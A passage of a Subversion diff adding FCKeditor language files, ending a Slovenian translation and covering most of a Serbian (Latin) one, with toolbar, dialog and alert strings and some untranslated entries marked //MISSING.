+TableDelete			: "Izbriši tabelo",
+CellProperties		: "Lastnosti celice",
+TableProperties		: "Lastnosti tabele",
+ImageProperties		: "Lastnosti slike",
+FlashProperties		: "Lastnosti Flash",
+
+AnchorProp			: "Lastnosti zaznamka",
+ButtonProp			: "Lastnosti gumba",
+CheckboxProp		: "Lastnosti potrditvenega polja",
+HiddenFieldProp		: "Lastnosti skritega polja",
+RadioButtonProp		: "Lastnosti izbirnega polja",
+ImageButtonProp		: "Lastnosti gumba s sliko",
+TextFieldProp		: "Lastnosti vnosnega polja",
+SelectionFieldProp	: "Lastnosti spustnega seznama",
+TextareaProp		: "Lastnosti vnosnega območja",
+FormProp			: "Lastnosti obrazca",
+
+FontFormats			: "Navaden;Oblikovan;Napis;Naslov 1;Naslov 2;Naslov 3;Naslov 4;Naslov 5;Naslov 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Obdelujem XHTML. Prosim počakajte...",
+Done				: "Narejeno",
+PasteWordConfirm	: "Izgleda, da želite prilepiti besedilo iz Worda. Ali ga želite očistiti, preden ga prilepite?",
+NotCompatiblePaste	: "Ta ukaz deluje le v Internet Explorerje različice 5.5 ali višje. Ali želite prilepiti brez čiščenja?",
+UnknownToolbarItem	: "Neznan element orodne vrstice \"%1\"",
+UnknownCommand		: "Neznano ime ukaza \"%1\"",
+NotImplemented		: "Ukaz ni izdelan",
+UnknownToolbarSet	: "Skupina orodnih vrstic \"%1\" ne obstoja",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",	//MISSING
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",	//MISSING
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",	//MISSING
+
+// Dialogs
+DlgBtnOK			: "V redu",
+DlgBtnCancel		: "Prekliči",
+DlgBtnClose			: "Zapri",
+DlgBtnBrowseServer	: "Prebrskaj na strežniku",
+DlgAdvancedTag		: "Napredno",
+DlgOpOther			: "<Ostalo>",
+DlgInfoTab			: "Podatki",
+DlgAlertUrl			: "Prosim vpiši spletni naslov",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<ni postavljen>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Smer jezika",
+DlgGenLangDirLtr	: "Od leve proti desni (LTR)",
+DlgGenLangDirRtl	: "Od desne proti levi (RTL)",
+DlgGenLangCode		: "Oznaka jezika",
+DlgGenAccessKey		: "Vstopno geslo",
+DlgGenName			: "Ime",
+DlgGenTabIndex		: "Številka tabulatorja",
+DlgGenLongDescr		: "Dolg opis URL-ja",
+DlgGenClass			: "Razred stilne predloge",
+DlgGenTitle			: "Predlagani naslov",
+DlgGenContType		: "Predlagani tip vsebine (content-type)",
+DlgGenLinkCharset	: "Kodna tabela povezanega vira",
+DlgGenStyle			: "Slog",
+
+// Image Dialog
+DlgImgTitle			: "Lastnosti slike",
+DlgImgInfoTab		: "Podatki o sliki",
+DlgImgBtnUpload		: "Pošlji na strežnik",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Pošlji",
+DlgImgAlt			: "Nadomestno besedilo",
+DlgImgWidth			: "Širina",
+DlgImgHeight		: "Višina",
+DlgImgLockRatio		: "Zakleni razmerje",
+DlgBtnResetSize		: "Ponastavi velikost",
+DlgImgBorder		: "Obroba",
+DlgImgHSpace		: "Vodoravni razmik",
+DlgImgVSpace		: "Navpični razmik",
+DlgImgAlign			: "Poravnava",
+DlgImgAlignLeft		: "Levo",
+DlgImgAlignAbsBottom: "Popolnoma na dno",
+DlgImgAlignAbsMiddle: "Popolnoma v sredino",
+DlgImgAlignBaseline	: "Na osnovno črto",
+DlgImgAlignBottom	: "Na dno",
+DlgImgAlignMiddle	: "V sredino",
+DlgImgAlignRight	: "Desno",
+DlgImgAlignTextTop	: "Besedilo na vrh",
+DlgImgAlignTop		: "Na vrh",
+DlgImgPreview		: "Predogled",
+DlgImgAlertUrl		: "Vnesite URL slike",
+DlgImgLinkTab		: "Povezava",
+
+// Flash Dialog
+DlgFlashTitle		: "Lastnosti Flash",
+DlgFlashChkPlay		: "Samodejno predvajaj",
+DlgFlashChkLoop		: "Ponavljanje",
+DlgFlashChkMenu		: "Omogoči Flash Meni",
+DlgFlashScale		: "Povečava",
+DlgFlashScaleAll	: "Pokaži vse",
+DlgFlashScaleNoBorder	: "Brez obrobe",
+DlgFlashScaleFit	: "Natančno prileganje",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Povezava",
+DlgLnkInfoTab		: "Podatki o povezavi",
+DlgLnkTargetTab		: "Cilj",
+
+DlgLnkType			: "Vrsta povezave",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Zaznamek na tej strani",
+DlgLnkTypeEMail		: "Elektronski naslov",
+DlgLnkProto			: "Protokol",
+DlgLnkProtoOther	: "<drugo>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Izberi zaznamek",
+DlgLnkAnchorByName	: "Po imenu zaznamka",
+DlgLnkAnchorById	: "Po ID-ju elementa",
+DlgLnkNoAnchors		: "<V tem dokumentu ni zaznamkov>",
+DlgLnkEMail			: "Elektronski naslov",
+DlgLnkEMailSubject	: "Predmet sporočila",
+DlgLnkEMailBody		: "Vsebina sporočila",
+DlgLnkUpload		: "Prenesi",
+DlgLnkBtnUpload		: "Pošlji na strežnik",
+
+DlgLnkTarget		: "Cilj",
+DlgLnkTargetFrame	: "<okvir>",
+DlgLnkTargetPopup	: "<pojavno okno>",
+DlgLnkTargetBlank	: "Novo okno (_blank)",
+DlgLnkTargetParent	: "Starševsko okno (_parent)",
+DlgLnkTargetSelf	: "Isto okno (_self)",
+DlgLnkTargetTop		: "Najvišje okno (_top)",
+DlgLnkTargetFrameName	: "Ime ciljnega okvirja",
+DlgLnkPopWinName	: "Ime pojavnega okna",
+DlgLnkPopWinFeat	: "Značilnosti pojavnega okna",
+DlgLnkPopResize		: "Spremenljive velikosti",
+DlgLnkPopLocation	: "Naslovna vrstica",
+DlgLnkPopMenu		: "Menijska vrstica",
+DlgLnkPopScroll		: "Drsniki",
+DlgLnkPopStatus		: "Vrstica stanja",
+DlgLnkPopToolbar	: "Orodna vrstica",
+DlgLnkPopFullScrn	: "Celozaslonska slika (IE)",
+DlgLnkPopDependent	: "Podokno (Netscape)",
+DlgLnkPopWidth		: "Širina",
+DlgLnkPopHeight		: "Višina",
+DlgLnkPopLeft		: "Lega levo",
+DlgLnkPopTop		: "Lega na vrhu",
+
+DlnLnkMsgNoUrl		: "Vnesite URL povezave",
+DlnLnkMsgNoEMail	: "Vnesite elektronski naslov",
+DlnLnkMsgNoAnchor	: "Izberite zaznamek",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Izberite barvo",
+DlgColorBtnClear	: "Počisti",
+DlgColorHighlight	: "Označi",
+DlgColorSelected	: "Izbrano",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Vstavi smeška",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Izberi posebni znak",
+
+// Table Dialog
+DlgTableTitle		: "Lastnosti tabele",
+DlgTableRows		: "Vrstice",
+DlgTableColumns		: "Stolpci",
+DlgTableBorder		: "Velikost obrobe",
+DlgTableAlign		: "Poravnava",
+DlgTableAlignNotSet	: "<Ni nastavljeno>",
+DlgTableAlignLeft	: "Levo",
+DlgTableAlignCenter	: "Sredinsko",
+DlgTableAlignRight	: "Desno",
+DlgTableWidth		: "Širina",
+DlgTableWidthPx		: "pik",
+DlgTableWidthPc		: "procentov",
+DlgTableHeight		: "Višina",
+DlgTableCellSpace	: "Razmik med celicami",
+DlgTableCellPad		: "Polnilo med celicami",
+DlgTableCaption		: "Naslov",
+DlgTableSummary		: "Povzetek",
+
+// Table Cell Dialog
+DlgCellTitle		: "Lastnosti celice",
+DlgCellWidth		: "Širina",
+DlgCellWidthPx		: "pik",
+DlgCellWidthPc		: "procentov",
+DlgCellHeight		: "Višina",
+DlgCellWordWrap		: "Pomikanje besedila",
+DlgCellWordWrapNotSet	: "<Ni nastavljeno>",
+DlgCellWordWrapYes	: "Da",
+DlgCellWordWrapNo	: "Ne",
+DlgCellHorAlign		: "Vodoravna poravnava",
+DlgCellHorAlignNotSet	: "<Ni nastavljeno>",
+DlgCellHorAlignLeft	: "Levo",
+DlgCellHorAlignCenter	: "Sredinsko",
+DlgCellHorAlignRight: "Desno",
+DlgCellVerAlign		: "Navpična poravnava",
+DlgCellVerAlignNotSet	: "<Ni nastavljeno>",
+DlgCellVerAlignTop	: "Na vrh",
+DlgCellVerAlignMiddle	: "V sredino",
+DlgCellVerAlignBottom	: "Na dno",
+DlgCellVerAlignBaseline	: "Na osnovno črto",
+DlgCellRowSpan		: "Spojenih vrstic (row-span)",
+DlgCellCollSpan		: "Spojenih stolpcev (col-span)",
+DlgCellBackColor	: "Barva ozadja",
+DlgCellBorderColor	: "Barva obrobe",
+DlgCellBtnSelect	: "Izberi...",
+
+// Find Dialog
+DlgFindTitle		: "Najdi",
+DlgFindFindBtn		: "Najdi",
+DlgFindNotFoundMsg	: "Navedeno besedilo ni bilo najdeno.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Zamenjaj",
+DlgReplaceFindLbl		: "Najdi:",
+DlgReplaceReplaceLbl	: "Zamenjaj z:",
+DlgReplaceCaseChk		: "Razlikuj velike in male črke",
+DlgReplaceReplaceBtn	: "Zamenjaj",
+DlgReplaceReplAllBtn	: "Zamenjaj vse",
+DlgReplaceWordChk		: "Samo cele besede",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Varnostne nastavitve brskalnika ne dopuščajo samodejnega lepljenja. Uporabite kombinacijo tipk na tipkovnici (Ctrl+V).",
+PasteErrorCut	: "Varnostne nastavitve brskalnika ne dopuščajo samodejnega izrezovanja. Uporabite kombinacijo tipk na tipkovnici (Ctrl+X).",
+PasteErrorCopy	: "Varnostne nastavitve brskalnika ne dopuščajo samodejnega kopiranja. Uporabite kombinacijo tipk na tipkovnici (Ctrl+C).",
+
+PasteAsText		: "Prilepi kot golo besedilo",
+PasteFromWord	: "Prilepi iz Worda",
+
+DlgPasteMsg2	: "Prosim prilepite v sleči okvir s pomočjo tipkovnice (<STRONG>Ctrl+V</STRONG>) in pritisnite <STRONG>V redu</STRONG>.",
+DlgPasteIgnoreFont		: "Prezri obliko pisave",
+DlgPasteRemoveStyles	: "Odstrani nastavitve stila",
+DlgPasteCleanBox		: "Počisti okvir",
+
+// Color Picker
+ColorAutomatic	: "Samodejno",
+ColorMoreColors	: "Več barv...",
+
+// Document Properties
+DocProps		: "Lastnosti dokumenta",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Lastnosti zaznamka",
+DlgAnchorName		: "Ime zaznamka",
+DlgAnchorErrorName	: "Prosim vnesite ime zaznamka",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Ni v slovarju",
+DlgSpellChangeTo		: "Spremeni v",
+DlgSpellBtnIgnore		: "Prezri",
+DlgSpellBtnIgnoreAll	: "Prezri vse",
+DlgSpellBtnReplace		: "Zamenjaj",
+DlgSpellBtnReplaceAll	: "Zamenjaj vse",
+DlgSpellBtnUndo			: "Razveljavi",
+DlgSpellNoSuggestions	: "- Ni predlogov -",
+DlgSpellProgress		: "Preverjanje črkovanja se izvaja...",
+DlgSpellNoMispell		: "Črkovanje je končano: Brez napak",
+DlgSpellNoChanges		: "Črkovanje je končano: Nobena beseda ni bila spremenjena",
+DlgSpellOneChange		: "Črkovanje je končano: Spremenjena je bila ena beseda",
+DlgSpellManyChanges		: "Črkovanje je končano: Spremenjenih je bilo %1 besed",
+
+IeSpellDownload			: "Črkovalnik ni nameščen. Ali ga želite prenesti sedaj?",
+
+// Button Dialog
+DlgButtonText		: "Besedilo (Vrednost)",
+DlgButtonType		: "Tip",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Ime",
+DlgCheckboxValue	: "Vrednost",
+DlgCheckboxSelected	: "Izbrano",
+
+// Form Dialog
+DlgFormName		: "Ime",
+DlgFormAction	: "Akcija",
+DlgFormMethod	: "Metoda",
+
+// Select Field Dialog
+DlgSelectName		: "Ime",
+DlgSelectValue		: "Vrednost",
+DlgSelectSize		: "Velikost",
+DlgSelectLines		: "vrstic",
+DlgSelectChkMulti	: "Dovoli izbor večih vrstic",
+DlgSelectOpAvail	: "Razpoložljive izbire",
+DlgSelectOpText		: "Besedilo",
+DlgSelectOpValue	: "Vrednost",
+DlgSelectBtnAdd		: "Dodaj",
+DlgSelectBtnModify	: "Spremeni",
+DlgSelectBtnUp		: "Gor",
+DlgSelectBtnDown	: "Dol",
+DlgSelectBtnSetValue : "Postavi kot privzeto izbiro",
+DlgSelectBtnDelete	: "Izbriši",
+
+// Textarea Dialog
+DlgTextareaName	: "Ime",
+DlgTextareaCols	: "Stolpcev",
+DlgTextareaRows	: "Vrstic",
+
+// Text Field Dialog
+DlgTextName			: "Ime",
+DlgTextValue		: "Vrednost",
+DlgTextCharWidth	: "Dolžina",
+DlgTextMaxChars		: "Največje število znakov",
+DlgTextType			: "Tip",
+DlgTextTypeText		: "Besedilo",
+DlgTextTypePass		: "Geslo",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Ime",
+DlgHiddenValue	: "Vrednost",
+
+// Bulleted List Dialog
+BulletedListProp	: "Lastnosti označenega seznama",
+NumberedListProp	: "Lastnosti oštevilčenega seznama",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tip",
+DlgLstTypeCircle	: "Pikica",
+DlgLstTypeDisc		: "Kroglica",
+DlgLstTypeSquare	: "Kvadratek",
+DlgLstTypeNumbers	: "Številke (1, 2, 3)",
+DlgLstTypeLCase		: "Male črke (a, b, c)",
+DlgLstTypeUCase		: "Velike črke (A, B, C)",
+DlgLstTypeSRoman	: "Male rimske številke (i, ii, iii)",
+DlgLstTypeLRoman	: "Velike rimske številke (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Splošno",
+DlgDocBackTab		: "Ozadje",
+DlgDocColorsTab		: "Barve in zamiki",
+DlgDocMetaTab		: "Meta podatki",
+
+DlgDocPageTitle		: "Naslov strani",
+DlgDocLangDir		: "Smer jezika",
+DlgDocLangDirLTR	: "Od leve proti desni (LTR)",
+DlgDocLangDirRTL	: "Od desne proti levi (RTL)",
+DlgDocLangCode		: "Oznaka jezika",
+DlgDocCharSet		: "Kodna tabela",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Druga kodna tabela",
+
+DlgDocDocType		: "Glava tipa dokumenta",
+DlgDocDocTypeOther	: "Druga glava tipa dokumenta",
+DlgDocIncXHTML		: "Vstavi XHTML deklaracije",
+DlgDocBgColor		: "Barva ozadja",
+DlgDocBgImage		: "URL slike za ozadje",
+DlgDocBgNoScroll	: "Nepremično ozadje",
+DlgDocCText			: "Besedilo",
+DlgDocCLink			: "Povezava",
+DlgDocCVisited		: "Obiskana povezava",
+DlgDocCActive		: "Aktivna povezava",
+DlgDocMargins		: "Zamiki strani",
+DlgDocMaTop			: "Na vrhu",
+DlgDocMaLeft		: "Levo",
+DlgDocMaRight		: "Desno",
+DlgDocMaBottom		: "Spodaj",
+DlgDocMeIndex		: "Ključne besede (ločene z vejicami)",
+DlgDocMeDescr		: "Opis strani",
+DlgDocMeAuthor		: "Avtor",
+DlgDocMeCopy		: "Avtorske pravice",
+DlgDocPreview		: "Predogled",
+
+// Templates Dialog
+Templates			: "Predloge",
+DlgTemplatesTitle	: "Vsebinske predloge",
+DlgTemplatesSelMsg	: "Izberite predlogo, ki jo želite odpreti v urejevalniku<br>(trenutna vsebina bo izgubljena):",
+DlgTemplatesLoading	: "Nalagam seznam predlog. Prosim počakajte...",
+DlgTemplatesNoTpl	: "(Ni pripravljenih predlog)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Vizitka",
+DlgAboutBrowserInfoTab	: "Informacije o brskalniku",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "različica",
+DlgAboutLicense		: "Pravica za uporabo pod pogoji GNU Lesser General Public License",
+DlgAboutInfo		: "Za več informacij obiščite"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sr-latn.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sr-latn.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/sr-latn.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: sr-latn.js
+ * 	Serbian (Latin) language file.
+ * 
+ * File Authors:
+ * 		Zoran Subic (zoran@tf.zr.ac.yu)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Smanji liniju sa alatkama",
+ToolbarExpand		: "Proiri liniju sa alatkama",
+
+// Toolbar Items and Context Menu
+Save				: "Sačuvaj",
+NewPage				: "Nova stranica",
+Preview				: "Izgled stranice",
+Cut					: "Iseci",
+Copy				: "Kopiraj",
+Paste				: "Zalepi",
+PasteText			: "Zalepi kao neformatiran tekst",
+PasteWord			: "Zalepi iz Worda",
+Print				: "Štampa",
+SelectAll			: "Označi sve",
+RemoveFormat		: "Ukloni formatiranje",
+InsertLinkLbl		: "Link",
+InsertLink			: "Unesi/izmeni link",
+RemoveLink			: "Ukloni link",
+Anchor				: "Unesi/izmeni sidro",
+InsertImageLbl		: "Slika",
+InsertImage			: "Unesi/izmeni sliku",
+InsertFlashLbl		: "Fleš",
+InsertFlash			: "Unesi/izmeni fleš",
+InsertTableLbl		: "Tabela",
+InsertTable			: "Unesi/izmeni tabelu",
+InsertLineLbl		: "Linija",
+InsertLine			: "Unesi horizontalnu liniju",
+InsertSpecialCharLbl: "Specijalni karakteri",
+InsertSpecialChar	: "Unesi specijalni karakter",
+InsertSmileyLbl		: "Smajli",
+InsertSmiley		: "Unesi smajlija",
+About				: "O FCKeditoru",
+Bold				: "Podebljano",
+Italic				: "Kurziv",
+Underline			: "Podvučeno",
+StrikeThrough		: "Precrtano",
+Subscript			: "Indeks",
+Superscript			: "Stepen",
+LeftJustify			: "Levo ravnanje",
+CenterJustify		: "Centriran tekst",
+RightJustify		: "Desno ravnanje",
+BlockJustify		: "Obostrano ravnanje",
+DecreaseIndent		: "Smanji levu marginu",
+IncreaseIndent		: "Uvećaj levu marginu",
+Undo				: "Poni�ti akciju",
+Redo				: "Ponovi akciju",
+NumberedListLbl		: "Nabrojiva lista",
+NumberedList		: "Unesi/ukloni nabrojivu listu",
+BulletedListLbl		: "Nenabrojiva lista",
+BulletedList		: "Unesi/ukloni nenabrojivu listu",
+ShowTableBorders	: "Prikaži okvir tabele",
+ShowDetails			: "Prikaži detalje",
+Style				: "Stil",
+FontFormat			: "Format",
+Font				: "Font",
+FontSize			: "Veličina fonta",
+TextColor			: "Boja teksta",
+BGColor				: "Boja pozadine",
+Source				: "Kôd",
+Find				: "Pretraga",
+Replace				: "Zamena",
+SpellCheck			: "Proveri spelovanje",
+UniversalKeyboard	: "Univerzalna tastatura",
+PageBreakLbl		: "Page Break",	//MISSING
+PageBreak			: "Insert Page Break",	//MISSING
+
+Form			: "Forma",
+Checkbox		: "Polje za potvrdu",
+RadioButton		: "Radio-dugme",
+TextField		: "Tekstualno polje",
+Textarea		: "Zona teksta",
+HiddenField		: "Skriveno polje",
+Button			: "Dugme",
+SelectionField	: "Izborno polje",
+ImageButton		: "Dugme sa slikom",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Izmeni link",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Unesi red",
+DeleteRows			: "Obriši redove",
+InsertColumn		: "Unesi kolonu",
+DeleteColumns		: "Obriši kolone",
+InsertCell			: "Unesi ćelije",
+DeleteCells			: "Obriši ćelije",
+MergeCells			: "Spoj celije",
+SplitCell			: "Razdvoji celije",
+TableDelete			: "Delete Table",	//MISSING
+CellProperties		: "Osobine celije",
+TableProperties		: "Osobine tabele",
+ImageProperties		: "Osobine slike",
+FlashProperties		: "Osobine fleša",
+
+AnchorProp			: "Osobine sidra",
+ButtonProp			: "Osobine dugmeta",
+CheckboxProp		: "Osobine polja za potvrdu",
+HiddenFieldProp		: "Osobine skrivenog polja",
+RadioButtonProp		: "Osobine radio-dugmeta",
+ImageButtonProp		: "Osobine dugmeta sa slikom",
+TextFieldProp		: "Osobine tekstualnog polja",
+SelectionFieldProp	: "Osobine izbornog polja",
+TextareaProp		: "Osobine zone teksta",
+FormProp			: "Osobine forme",
+
+FontFormats			: "Normal;Formatirano;Adresa;Naslov 1;Naslov 2;Naslov 3;Naslov 4;Naslov 5;Naslov 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Obradujem XHTML. Malo strpljenja...",
+Done				: "Završio",
+PasteWordConfirm	: "Tekst koji želite da nalepite kopiran je iz Worda. Da li želite da bude očišćen od formata pre lepljenja?",
+NotCompatiblePaste	: "Ova komanda je dostupna samo za Internet Explorer od verzije 5.5. Da li želite da nalepim tekst bez čišćenja?",
+UnknownToolbarItem	: "Nepoznata stavka toolbara \"%1\"",
+UnknownCommand		: "Nepoznata naredba \"%1\"",
+NotImplemented		: "Naredba nije implementirana",
+UnknownToolbarSet	: "Toolbar \"%1\" ne postoji",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",	//MISSING
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",	//MISSING
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",	//MISSING
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Otkaži",
+DlgBtnClose			: "Zatvori",
+DlgBtnBrowseServer	: "Pretraži server",
+DlgAdvancedTag		: "Napredni tagovi",
+DlgOpOther			: "<Ostali>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Molimo Vas, unesite URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<nije postavljeno>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Smer jezika",
+DlgGenLangDirLtr	: "S leva na desno (LTR)",
+DlgGenLangDirRtl	: "S desna na levo (RTL)",
+DlgGenLangCode		: "Kôd jezika",
+DlgGenAccessKey		: "Pristupni taster",
+DlgGenName			: "Naziv",
+DlgGenTabIndex		: "Tab indeks",
+DlgGenLongDescr		: "Pun opis URL",
+DlgGenClass			: "Stylesheet klase",
+DlgGenTitle			: "Advisory naslov",
+DlgGenContType		: "Advisory vrsta sadržaja",
+DlgGenLinkCharset	: "Linked Resource Charset",
+DlgGenStyle			: "Stil",
+
+// Image Dialog
+DlgImgTitle			: "Osobine slika",
+DlgImgInfoTab		: "Info slike",
+DlgImgBtnUpload		: "Pošalji na server",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Pošalji",
+DlgImgAlt			: "Alternativni tekst",
+DlgImgWidth			: "Širina",
+DlgImgHeight		: "Visina",
+DlgImgLockRatio		: "Zaključaj odnos",
+DlgBtnResetSize		: "Resetuj veličinu",
+DlgImgBorder		: "Okvir",
+DlgImgHSpace		: "HSpace",
+DlgImgVSpace		: "VSpace",
+DlgImgAlign			: "Ravnanje",
+DlgImgAlignLeft		: "Levo",
+DlgImgAlignAbsBottom: "Abs dole",
+DlgImgAlignAbsMiddle: "Abs sredina",
+DlgImgAlignBaseline	: "Bazno",
+DlgImgAlignBottom	: "Dole",
+DlgImgAlignMiddle	: "Sredina",
+DlgImgAlignRight	: "Desno",
+DlgImgAlignTextTop	: "Vrh teksta",
+DlgImgAlignTop		: "Vrh",
+DlgImgPreview		: "Izgled",
+DlgImgAlertUrl		: "Unesite URL slike",
+DlgImgLinkTab		: "Link",
+
+// Flash Dialog
+DlgFlashTitle		: "Osobine fleša",
+DlgFlashChkPlay		: "Automatski start",
+DlgFlashChkLoop		: "Ponavljaj",
+DlgFlashChkMenu		: "Uključi fleš meni",
+DlgFlashScale		: "Skaliraj",
+DlgFlashScaleAll	: "Prikaži sve",
+DlgFlashScaleNoBorder	: "Bez ivice",
+DlgFlashScaleFit	: "Popuni površinu",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Link",
+DlgLnkInfoTab		: "Link Info",
+DlgLnkTargetTab		: "Meta",
+
+DlgLnkType			: "Vrsta linka",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Sidro na ovoj stranici",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protokol",
+DlgLnkProtoOther	: "<drugo>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Odaberi sidro",
+DlgLnkAnchorByName	: "Po nazivu sidra",
+DlgLnkAnchorById	: "Po Id-ju elementa",
+DlgLnkNoAnchors		: "<Nema dostupnih sidra>",
+DlgLnkEMail			: "E-Mail adresa",
+DlgLnkEMailSubject	: "Naslov",
+DlgLnkEMailBody		: "Sadržaj poruke",
+DlgLnkUpload		: "Pošalji",
+DlgLnkBtnUpload		: "Pošalji na server",
+
+DlgLnkTarget		: "Meta",
+DlgLnkTargetFrame	: "<okvir>",
+DlgLnkTargetPopup	: "<popup prozor>",
+DlgLnkTargetBlank	: "Novi prozor (_blank)",
+DlgLnkTargetParent	: "Roditeljski prozor (_parent)",
+DlgLnkTargetSelf	: "Isti prozor (_self)",
+DlgLnkTargetTop		: "Prozor na vrhu (_top)",
+DlgLnkTargetFrameName	: "Naziv odredišnog frejma",
+DlgLnkPopWinName	: "Naziv popup prozora",
+DlgLnkPopWinFeat	: "Mogućnosti popup prozora",
+DlgLnkPopResize		: "Promenljiva velicina",
+DlgLnkPopLocation	: "Lokacija",
+DlgLnkPopMenu		: "Kontekstni meni",
+DlgLnkPopScroll		: "Scroll bar",
+DlgLnkPopStatus		: "Statusna linija",
+DlgLnkPopToolbar	: "Toolbar",
+DlgLnkPopFullScrn	: "Prikaz preko celog ekrana (IE)",
+DlgLnkPopDependent	: "Zavisno (Netscape)",
+DlgLnkPopWidth		: "Širina",
+DlgLnkPopHeight		: "Visina",
+DlgLnkPopLeft		: "Od leve ivice ekrana (px)",
+DlgLnkPopTop		: "Od vrha ekrana (px)",
+
+DlnLnkMsgNoUrl		: "Unesite URL linka",
+DlnLnkMsgNoEMail	: "Otkucajte adresu elektronske pote",
+DlnLnkMsgNoAnchor	: "Odaberite sidro",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Odaberite boju",
+DlgColorBtnClear	: "Obriši",
+DlgColorHighlight	: "Posvetli",
+DlgColorSelected	: "Odaberi",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Unesi smajlija",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Odaberite specijalni karakter",
+
+// Table Dialog
+DlgTableTitle		: "Osobine tabele",
+DlgTableRows		: "Redova",
+DlgTableColumns		: "Kolona",
+DlgTableBorder		: "Veličina okvira",
+DlgTableAlign		: "Ravnanje",
+DlgTableAlignNotSet	: "<nije postavljeno>",
+DlgTableAlignLeft	: "Levo",
+DlgTableAlignCenter	: "Sredina",
+DlgTableAlignRight	: "Desno",
+DlgTableWidth		: "Širina",
+DlgTableWidthPx		: "piksela",
+DlgTableWidthPc		: "procenata",
+DlgTableHeight		: "Visina",
+DlgTableCellSpace	: "Ćelijski prostor",
+DlgTableCellPad		: "Razmak ćelija",
+DlgTableCaption		: "Naslov tabele",
+DlgTableSummary		: "Summary",	//MISSING
+
+// Table Cell Dialog
+DlgCellTitle		: "Osobine ćelije",
+DlgCellWidth		: "Širina",
+DlgCellWidthPx		: "piksela",
+DlgCellWidthPc		: "procenata",
+DlgCellHeight		: "Visina",
+DlgCellWordWrap		: "Deljenje reči",
+DlgCellWordWrapNotSet	: "<nije postavljeno>",
+DlgCellWordWrapYes	: "Da",
+DlgCellWordWrapNo	: "Ne",
+DlgCellHorAlign		: "Vodoravno ravnanje",
+DlgCellHorAlignNotSet	: "<nije postavljeno>",
+DlgCellHorAlignLeft	: "Levo",
+DlgCellHorAlignCenter	: "Sredina",
+DlgCellHorAlignRight: "Desno",
+DlgCellVerAlign		: "Vertikalno ravnanje",
+DlgCellVerAlignNotSet	: "<nije postavljeno>",
+DlgCellVerAlignTop	: "Gornje",
+DlgCellVerAlignMiddle	: "Sredina",
+DlgCellVerAlignBottom	: "Donje",
+DlgCellVerAlignBaseline	: "Bazno",
+DlgCellRowSpan		: "Spajanje redova",
